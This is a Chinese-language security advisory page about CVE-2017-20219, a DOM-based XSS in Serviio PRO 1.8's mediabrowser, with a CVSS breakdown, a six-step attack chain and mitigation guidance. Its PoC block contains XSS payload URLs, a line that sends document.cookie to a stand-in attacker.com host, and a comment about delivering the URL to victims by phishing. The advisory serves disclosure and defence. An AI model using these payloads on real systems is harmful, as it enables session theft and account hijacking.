IPBUF安全漏洞报告
English
CVE-2017-20219 CVSS 6.1 中危

CVE-2017-20219: Serviio PRO 1.8 DOM型跨站脚本漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2017-20219
漏洞类型
DOM型XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Serviio PRO 1.8

相关标签

DOM型XSS跨站脚本ServiioDLNA媒体服务器客户端漏洞CVE-2017-20219

漏洞概述

Serviio PRO 1.8是一款DLNA媒体流媒体服务器软件,允许用户在家中网络上共享多媒体内容。该软件存在一个基于DOM的跨站脚本(XSS)漏洞,攻击者可以通过精心构造的恶意URL注入任意HTML和JavaScript代码。漏洞的根本原因在于mediabrowser组件直接从不安全的来源(如document.location)读取用户输入,并将其传递给document.write()方法,而没有进行适当的输入验证和输出编码。攻击者可以利用此漏洞在受害者的浏览器上下文中执行恶意脚本,窃取会话cookie、劫持用户账户或进行钓鱼攻击。由于该漏洞利用需要用户交互(如点击恶意链接),因此CVSS评分为6.1,属于中等严重程度。

技术细节

该漏洞是典型的DOM型XSS(也称为第三类XSS或客户端XSS)。与传统XSS不同,DOM型XSS的恶意代码从不安全的JavaScript代码开始,这些代码动态地将攻击者可控的数据写入危险的HTML接收器。在Serviio PRO 1.8的mediabrowser组件中,JavaScript代码使用document.location读取URL参数,然后直接将这个未经验证的用户输入传递给document.write()方法。document.write()方法会将字符串作为HTML解析并写入文档流,因此攻击者可以在URL中注入<script>标签或事件处理器(如onerror、onload等)来执行任意JavaScript代码。例如,攻击者可以构造如下URL:https://target:23424/mediabrowser?param=<script>alert(document.cookie)</script>。当受害者访问此链接时,恶意脚本会在其浏览器会话中执行。由于数据流完全发生在客户端,服务器端的安全设备无法检测到此类攻击。

攻击链分析

STEP 1
步骤1: 侦察和信息收集
攻击者识别目标环境中运行的Serviio PRO服务器版本(1.8),确认mediabrowser组件可访问,并确定默认端口23424
STEP 2
步骤2: 构造恶意载荷
攻击者构造包含恶意JavaScript代码的XSS payload,如<script>alert(document.cookie)</script>或使用事件处理器<img src=x onerror=...>
STEP 3
步骤3: 制作钓鱼链接
将恶意payload编码到URL参数中,生成完整的恶意URL,如:http://target:23424/mediabrowser?<script>恶意代码</script>
STEP 4
步骤4: 社会工程攻击
通过钓鱼邮件、即时消息或其他社交工程手段诱导目标用户点击恶意链接,需要用户交互才能触发漏洞
STEP 5
步骤5: 恶意代码执行
受害者浏览器加载页面后,JavaScript从document.location读取URL参数,直接写入document.write(),导致恶意脚本在浏览器上下文中执行
STEP 6
步骤6: 窃取敏感数据
成功执行后,攻击者可以窃取用户的会话cookie、劫持账户、执行任意操作或进一步渗透内网

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2017-20219 PoC - DOM-based XSS in Serviio PRO 1.8 mediabrowser // Target: Serviio PRO 1.8 DLNA Media Streaming Server // Attack Vector: Inject malicious script via URL parameter to document.write() // PoC URL (encode special characters if needed): // http://target:23424/mediabrowser?<script>alert(document.cookie)</script> // Alternative PoC using event handler: // http://target:23424/mediabrowser?<img src=x onerror=alert(document.domain)> // Example attack scenario: const targetUrl = 'http://target:23424/mediabrowser'; const maliciousPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; const exploitUrl = `${targetUrl}?${maliciousPayload}`; console.log('Exploit URL:', exploitUrl); console.log('Send this URL to victim via phishing email or social engineering'); // When victim visits the URL: // 1. Browser sends request to Serviio server // 2. Server returns page with mediabrowser component // 3. JavaScript reads URL from document.location // 4. Malicious payload is passed to document.write() // 5. Script executes in victim's browser context

影响范围

Serviio PRO 1.8

防御指南

临时缓解措施
在官方补丁发布前,可以采取以下临时缓解措施:1) 限制Serviio管理界面的网络访问,只允许受信任的IP地址访问;2) 在Web应用防火墙(WAF)或反向代理中配置规则,过滤包含XSS特征的请求参数;3) 提醒用户不要点击来源不明的链接,尤其是包含特殊字符的URL;4) 监控日志中的可疑请求模式;5) 考虑使用浏览器安全插件提供额外的客户端保护。虽然这些措施不能完全消除漏洞,但可以显著降低被利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表